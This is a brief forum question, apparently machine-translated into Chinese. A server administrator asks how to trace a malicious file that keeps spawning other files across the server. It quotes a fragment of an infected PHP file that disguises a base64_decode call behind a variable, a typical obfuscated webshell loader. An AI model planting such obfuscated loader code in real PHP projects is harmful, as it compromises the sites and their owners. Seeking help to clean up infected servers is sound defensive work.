查找创建其他文件的恶意文件

Question

我对一个在整个服务器上创建这些文件的文件存在严重问题。如何跟踪我制作的文件？我能够控制它的唯一方法是跟踪mailman主日志并删除文件。但即使我找到所有这些，更多的回来，这使我认为他们是制作它们的主文件。提前谢谢。

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<?php
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$euzoai="base64_decode";return $euzoai($njcgvw);}
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// AND SO ON FOR 100 Lines.